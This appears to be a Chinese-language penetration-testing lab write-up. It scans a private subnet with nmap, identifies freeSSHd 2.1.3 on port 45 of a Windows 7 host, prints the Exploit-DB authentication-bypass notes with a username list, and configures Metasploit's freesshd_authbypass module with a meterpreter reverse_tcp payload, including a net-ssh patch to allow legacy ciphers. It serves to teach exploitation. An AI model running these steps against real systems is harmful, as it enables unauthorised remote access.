- Hop 1 is the same as for 172.16.1.67
2 65.23 ms 172.16.1.120
Nmap scan report for 172.16.1.134
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 65.24 ms 172.16.1.134
Nmap scan report for hr.itop.com.tw (172.16.1.153)
Host is up (0.026s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 65.25 ms hr.itop.com.tw (172.16.1.153)
Nmap scan report for 172.16.1.157
Host is up (0.030s latency).
PORT STATE SERVICE VERSION
445/tcp filtered microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 ...
2 58.92 ms 172.16.1.157
Nmap scan report for 172.16.1.191
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows Server 2016 Datacenter 14393 microsoft-ds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (94%), Microsoft Windows 10 1607 (90%), Microsoft Windows Server 2012 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows Server 2008 R2 (88%), Microsoft Windows 10 1511 - 1607 (86%), Microsoft Windows 7 Professional (86%), Microsoft Windows 7 SP1 (85%), Tomato 1.27 - 1.28 (Linux 2.4.20) (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-25T11:05:40
|_ start_date: 2023-02-25T10:01:56
|_clock-skew: mean: -2h39m56s, deviation: 4h36m59s, median: -1s
| smb-os-discovery:
| OS: Windows Server 2016 Datacenter 14393 (Windows Server 2016 Datacenter 6.3)
| Computer name: WinPower
| NetBIOS computer name: WINPOWER\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-25T19:05:37+08:00
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 65.25 ms 172.16.1.191
Nmap scan report for 172.16.1.222
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 66.53 ms 172.16.1.222
Nmap scan report for 172.16.3.124
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows Server 2016 Essentials 14393 microsoft-ds (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016 (87%)
OS CPE: cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2016 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: WIN-56MI46O6T68; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows Server 2016 Essentials 14393 (Windows Server 2016 Essentials 6.3)
| Computer name: WIN-56MI46O6T68
| NetBIOS computer name: WIN-56MI46O6T68\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-25T19:05:35+08:00
| smb2-time:
| date: 2023-02-25T11:05:33
|_ start_date: 2022-11-01T06:49:25
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -2h39m56s, deviation: 4h37m00s, median: -1s
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 58.91 ms 172.16.3.124
Nmap scan report for 172.16.3.125
Host is up (0.024s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 59.99 ms 172.16.3.125
Nmap scan report for 172.16.3.126
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 113.14 ms 172.16.3.126
Nmap scan report for 172.16.3.128
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 113.12 ms 172.16.3.128
Nmap scan report for 172.16.5.1
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|WAP
Running (JUST GUESSING): Microsoft Windows XP|2012|2016|7|2008 (86%), Linux 2.4.X|3.X (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_7 cpe:/o:linux:linux_kernel:3.18 cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:microsoft:windows_server_2008
Aggressive OS guesses: Microsoft Windows XP SP3 (86%), Tomato 1.27 - 1.28 (Linux 2.4.20) (85%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (85%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%), Microsoft Windows 7 (85%), Linux 3.18 (85%), Microsoft Windows Server 2008 or 2008 Beta 3 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
|_clock-skew: -1s
| smb2-time:
| date: 2023-02-25T11:05:24
|_ start_date: N/A
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 113.07 ms 172.16.5.1
Nmap scan report for 172.16.19.2
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (94%), Microsoft Windows 7 SP1 (94%), Microsoft Windows 7 or Windows Server 2008 R2 (94%), Microsoft Windows Server 2008 or 2008 Beta 3 (94%), Microsoft Windows Server 2008 R2 or Windows 8.1 (94%), Microsoft Windows 7 (94%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (94%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (94%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (94%), Microsoft Windows Vista SP2 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: IRMA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-25T11:05:43
|_ start_date: 2021-05-22T09:26:30
|_nbstat: NetBIOS name: IRMA, NetBIOS user: <unknown>, NetBIOS MAC: 00155d2de7b6 (Microsoft)
|_clock-skew: mean: -2h39m54s, deviation: 4h36m55s, median: -2s
| smb-os-discovery:
| OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: IRMA
| NetBIOS computer name: IRMA\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-25T19:05:43+08:00
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 113.04 ms 172.16.19.2
Nmap scan report for 172.16.19.9
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (94%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (94%), Microsoft Windows Server 2012 R2 (94%), Tomato 1.27 - 1.28 (Linux 2.4.20) (91%), Microsoft Windows 7 Professional (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2012 Data Center (90%), Microsoft Windows 7 SP1 (90%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: FRANKLIN, NetBIOS user: <unknown>, NetBIOS MAC: 00155d013681 (Microsoft)
| smb2-security-mode:
| 302:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-25T11:05:43
|_ start_date: 2023-02-25T10:01:49
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 113.01 ms 172.16.19.9
Nmap scan report for 172.16.20.3
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 112.98 ms 172.16.20.3
Nmap scan report for 172.16.20.6
Host is up (0.030s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 112.95 ms 172.16.20.6
Nmap scan report for 172.16.20.7
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 112.91 ms 172.16.20.7
Post-scan script results:
| clock-skew:
| -1s:
| 172.16.5.1
| 172.16.1.191
| 172.16.19.9
| 172.16.3.124
| -2h39m54s:
| 172.16.19.2
| 172.16.1.87
| 172.16.1.120
| 172.16.1.112
|_ 172.16.1.105
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 5120 IP addresses (21 hosts up) scanned in 108.37 seconds
這裡節錄第一小題答案:
Nmap scan report for 172.16.19.2
Service Info: Host: IRMA;
第二小題:
┌──(kali㉿kali)-[~]
└─$ sudo nmap 172.16.19.2
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-25 06:24 EST
Nmap scan report for 172.16.19.2
Host is up (0.027s latency).
Not shown: 990 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49158/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
以上沒帶參數,會掃最常見1000個port。如果帶-F
參數,則是最常見10個。而剛剛的題目如果帶-F
參數,會少掉49158 port沒掃到。
┌──(kali㉿kali)-[~]
└─$ sudo nmap 172.16.19.2 -p-
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-25 06:41 EST
Nmap scan report for 172.16.19.2
Host is up (0.058s latency).
Not shown: 65524 closed tcp ports (reset)
PORT STATE SERVICE
45/tcp open mpm
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49158/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.48 seconds
用了-p-
參數則會掃1-65535全部,可以發現多了45。而且要考慮到連線port偽裝,比如把遠端連線變成49156 port。
再針對掃出來的port仔細掃描:
┌──(root㉿kali)-[~]
└─# nmap 172.16.19.2 -p45,135,139,445,5357,49152-49158 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-25 06:49 EST
Nmap scan report for 172.16.19.2
Host is up (0.016s latency).
PORT STATE SERVICE VERSION
45/tcp open ssh WeOnlyDo sshd 2.1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 69f2238e737a37f87cea4da210d3be7c (DSA)
|_ 1024 2e45fe263a9233c31fc19de2991792c5 (RSA)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp closed unknown
49158/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=2/25%OT=45%CT=49157%CU=43302%PV=Y%DS=2%DC=T%G=Y%TM=63F
OS:9F5FE%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=I%TS=7)OPS(O1=M5
OS:07NW8ST11%O2=M507NW8ST11%O3=M507NW8NNT11%O4=M507NW8ST11%O5=M507NW8ST11%O
OS:6=M507ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%D
OS:F=Y%T=80%W=2000%O=M507NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0
OS:%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T
OS:6(R=N)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%R
OS:UD=G)IE(R=N)
Network Distance: 2 hops
Service Info: Host: IRMA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-02-25T11:50:16
|_ start_date: 2021-05-22T09:26:30
|_clock-skew: mean: -2h40m01s, deviation: 4h37m07s, median: -2s
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: IRMA
| NetBIOS computer name: IRMA\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-25T19:50:16+08:00
|_nbstat: NetBIOS name: IRMA, NetBIOS user: <unknown>, NetBIOS MAC: 00155d2de7b6 (Microsoft)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
TRACEROUTE (using port 49157/tcp)
HOP RTT ADDRESS
1 65.35 ms 192.168.200.1
2 12.89 ms 172.16.19.2
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.01 seconds
可以發現45從mpm變成ssh。 WeOnlyDo sshd 2.1.3可以稱之為banner,可以google一下有沒有弱點。
根據EDB-ID,用searchsploit來查詢漏洞詳情。其實用上圖的網頁也是一樣的內容,但用command line就是比較潮比較專業比較駭客。
┌──(root㉿kali)-[~]
└─# searchsploit 23080
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
freeSSHd 2.1.3 - Remote Authentication Bypass | windows/remote/23080.txt
---------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(root㉿kali)-[~]
└─# mkdir PT_day2
┌──(root㉿kali)-[~]
└─# cd PT_day2
┌──(root㉿kali)-[~/PT_day2]
└─# searchsploit -m 23080
Exploit: freeSSHd 2.1.3 - Remote Authentication Bypass
URL: https://www.exploit-db.com/exploits/23080
Path: /usr/share/exploitdb/exploits/windows/remote/23080.txt
Codes: CVE-2012-6066, OSVDB-88006
Verified: True
File Type: ASCII text
Copied to: /root/PT_day2/23080.txt
┌──(root㉿kali)-[~/PT_day2]
└─# ls -al
total 12
drwxr-xr-x 2 root root 4096 Feb 25 19:55 .
drwx------ 5 root root 4096 Feb 25 19:55 ..
-rw-r--r-- 1 root root 913 Feb 25 19:55 23080.txt
┌──(root㉿kali)-[~/PT_day2]
└─# cat 23080.txt
FreeSSHD all version Remote Authentication Bypass ZERODAY
Discovered & Exploited by Kingcope
Year 2011
# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23080.zip
Run like:
ssh.exe -l<valid username> <host>
valid username might be:
root
admin
administrator
webadmin
sysadmin
netadmin
guest
user
web
test
ssh
sftp
ftp
or anything you can imagine.
The vulnerable banner of the most recent version is:
SSH-2.0-WeOnlyDo 2.1.3
For your pleasure,
KingcopeFreeSSHD all version Remote Authentication Bypass ZERODAY
Discovered & Exploited by Kingcope
Year 2011
Run like:
ssh.exe -l<valid username> <host>
valid username might be:
root
admin
administrator
webadmin
sysadmin
netadmin
guest
user
web
test
ssh
sftp
ftp
or anything you can imagine.
The vulnerable banner of the most recent version is:
SSH-2.0-WeOnlyDo 2.1.3
For your pleasure,
Kingcope
呃呃...好像看不太懂,沒關係,看看metasploit有沒有poc可以直接用:
┌──(root㉿kali)-[~/PT_day2]
└─# msfconsole
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
lOOOOOOOO. ;d; ,OOOOOOOOl
.OOOOOOOO. .; ; ,OOOOOOOO.
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
lOOOOO. .OOOO. :OOOO. ,OOOOOl
;OOOO' .OOOO. :OOOO. ;OOOO;
.dOOo .OOOOocccxOOOO. xOOd.
,kOl .OOOOOOOOOOOOO. .dOk,
:kk;.OOOOOOOOOOOOO.cOk:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v6.3.2-dev ]
+ -- --=[ 2290 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Use help <command> to learn more
about any command
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
找找看:
msf6 > search freessh
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/ssh/freeftpd_key_exchange 2006-05-12 average No FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow
1 exploit/windows/ssh/freesshd_key_exchange 2006-05-12 average No FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow
2 exploit/windows/ssh/freesshd_authbypass 2010-08-11 excellent Yes Freesshd Authentication Bypass
Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/ssh/freesshd_authbypass
看起來應該是第3個,所以use 2
。
msf6 > use 2
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/ssh/freesshd_authbypass) >
來看看該怎麼設定,所以show options
:
msf6 exploit(windows/ssh/freesshd_authbypass) > show options
Module options (exploit/windows/ssh/freesshd_authbypass):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://
docs.metasploit.com/docs/using-m
etasploit/basics/using-metasploi
t.html
RPORT 22 yes The target port (TCP)
SSL false no Negotiate SSL for incoming conne
ctions
SSLCert no Path to a custom SSL certificate
(default is randomly generated)
URIPATH no The URI to use for this exploit
(default is random)
USERNAME no A specific username to try
USER_FILE /usr/share/metasploi yes File containing usernames, one p
t-framework/data/wor er line
dlists/unix_users.tx
t
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to
listen on. This must be an address on t
he local machine or 0.0.0.0 to listen o
n all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thr
ead, process, none)
LHOST 192.168.18.192 yes The listen address (an interface may b
e specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PowerShell
View the full module info with the info, or info -d command.
要注意LHOST,到底是要用本機IP還是跳VPN後的IP?
圖解2:
看看現在的IP:
┌──(kali㉿kali)-[~]
└─$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:79:3c:84 brd ff:ff:ff:ff:ff:ff
inet 192.168.18.192/24 brd 192.168.18.255 scope global dynamic noprefixroute eth0
valid_lft 2547sec preferred_lft 2547sec
inet6 fe80::9977:207f:3a78:867f/64 scope link noprefixroute
valid_lft forever preferred_lft forever
10: tun1: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.200.3/24 scope global tun1
valid_lft forever preferred_lft forever
inet6 fe80::e54a:6494:983f:7c99/64 scope link stable-privacy
valid_lft forever preferred_lft forever
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.200.4/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::b555:927b:f447:b4c2/64 scope link stable-privacy
valid_lft forever preferred_lft forever
開始做設定:
msf6 exploit(windows/ssh/freesshd_authbypass) > set lhost 192.168.200.3
lhost => 192.168.200.3
msf6 exploit(windows/ssh/freesshd_authbypass) > set rhosts 172.16.19.2
rhosts => 172.16.19.2
msf6 exploit(windows/ssh/freesshd_authbypass) > set rport 45
rport => 45
msf6 exploit(windows/ssh/freesshd_authbypass) > show options
Module options (exploit/windows/ssh/freesshd_authbypass):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.16.19.2 yes The target host(s), see https://
docs.metasploit.com/docs/using-m
etasploit/basics/using-metasploi
t.html
RPORT 45 yes The target port (TCP)
SSL false no Negotiate SSL for incoming conne
ctions
SSLCert no Path to a custom SSL certificate
(default is randomly generated)
URIPATH no The URI to use for this exploit
(default is random)
USERNAME no A specific username to try
USER_FILE /usr/share/metasploi yes File containing usernames, one p
t-framework/data/wor er line
dlists/unix_users.tx
t
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to
listen on. This must be an address on t
he local machine or 0.0.0.0 to listen o
n all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thr
ead, process, none)
LHOST 192.168.200.3 yes The listen address (an interface may b
e specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PowerShell
View the full module info with the info, or info -d command.
執行:
msf6 exploit(windows/ssh/freesshd_authbypass) > run
[*] Started reverse TCP handler on 192.168.200.3:4444
[*] 172.16.19.2:45 - Trying username '4Dgifts'
[-] 172.16.19.2:45 - Exploit failed: Net::SSH::Exception could not settle on encryption_client algorithm
Server encryption_client preferences: aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,rijndael128-cbc,rijndael192-cbc,rijndael256-cbc,rijndael-cbc@lysator.liu.se
Client encryption_client preferences: aes256-ctr,aes192-ctr,aes128-ctr
[*] Exploit completed, but no session was created.
aaa阿,不知道為什麼噴錯了,看起來是不支援舊的加密演算法,google後找到下面這一篇:
Configure the Metasploit SSH client to support aes256-cbc
- Information Security Stack Exchange
於是依照文章解決方式,輸入以下指令:
┌──(kali㉿kali)-[~]
└─$ find /usr/share/metasploit-framework -type f -name algorithms.rb
/usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/net-ssh-7.0.1/lib/net/ssh/transport/algorithms.rb
┌──(kali㉿kali)-[~]
└─$ sudo vim /usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/net-ssh-7.0.1/lib/net/ssh/transport/algorithms.rb
用vim打開檔案後,會發現原本內容包含以下:
DEFAULT_ALGORITHMS = {
host_key: %w[ecdsa-sha2-nistp521-cert-v01@openssh.com
ecdsa-sha2-nistp384-cert-v01@openssh.com
ecdsa-sha2-nistp256-cert-v01@openssh.com
ecdsa-sha2-nistp521
ecdsa-sha2-nistp384
ecdsa-sha2-nistp256
ssh-rsa-cert-v01@openssh.com
ssh-rsa-cert-v00@openssh.com
ssh-rsa],
kex: %w[ecdh-sha2-nistp521
ecdh-sha2-nistp384
ecdh-sha2-nistp256
diffie-hellman-group-exchange-sha256
diffie-hellman-group14-sha1],
encryption: %w[aes256-ctr aes192-ctr aes128-ctr **aes256-cbc**],
最主要是encryption要加舊的演算法,加成下圖,儲存後離開。
重新啟動metasploit,把剛剛的步驟重來一遍:
┌──(root㉿kali)-[~/PT_day2]
└─# msfconsole
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
lOOOOOOOO. ;d; ,OOOOOOOOl
.OOOOOOOO. .; ; ,OOOOOOOO.
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
lOOOOO. .OOOO. :OOOO. ,OOOOOl
;OOOO' .OOOO. :OOOO. ;OOOO;
.dOOo .OOOOocccxOOOO. xOOd.
,kOl .OOOOOOOOOOOOO. .dOk,
:kk;.OOOOOOOOOOOOO.cOk:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v6.3.2-dev ]
+ -- --=[ 2290 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: You can use help to view all
available commands
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search freessh
Matching Modules
================
# Name Disclosure Date Rank Che ck Description
- ---- --------------- ---- --- -- -----------
0 exploit/windows/ssh/freeftpd_key_exchange 2006-05-12 average No FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow
1 exploit/windows/ssh/freesshd_key_exchange 2006-05-12 average No FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow
2 exploit/windows/ssh/freesshd_authbypass 2010-08-11 excellent Yes Freesshd Authentication Bypass
Interact with a module by name or index. For example info 2, use 2 or use exploi t/windows/ssh/freesshd_authbypass
msf6 > use 2
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/ssh/freesshd_authbypass) > show options
Module options (exploit/windows/ssh/freesshd_authbypass):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://
docs.metasploit.com/docs/using-m
etasploit/basics/using-metasploi
t.html
RPORT 22 yes The target port (TCP)
SSL false no Negotiate SSL for incoming conne
ctions
SSLCert no Path to a custom SSL certificate
(default is randomly generated)
URIPATH no The URI to use for this exploit
(default is random)
USERNAME no A specific username to try
USER_FILE /usr/share/metasploi yes File containing usernames, one p
t-framework/data/wor er line
dlists/unix_users.tx
t
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwpreques t,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to
listen on. This must be an address on t
he local machine or 0.0.0.0 to listen o
n all addresses.
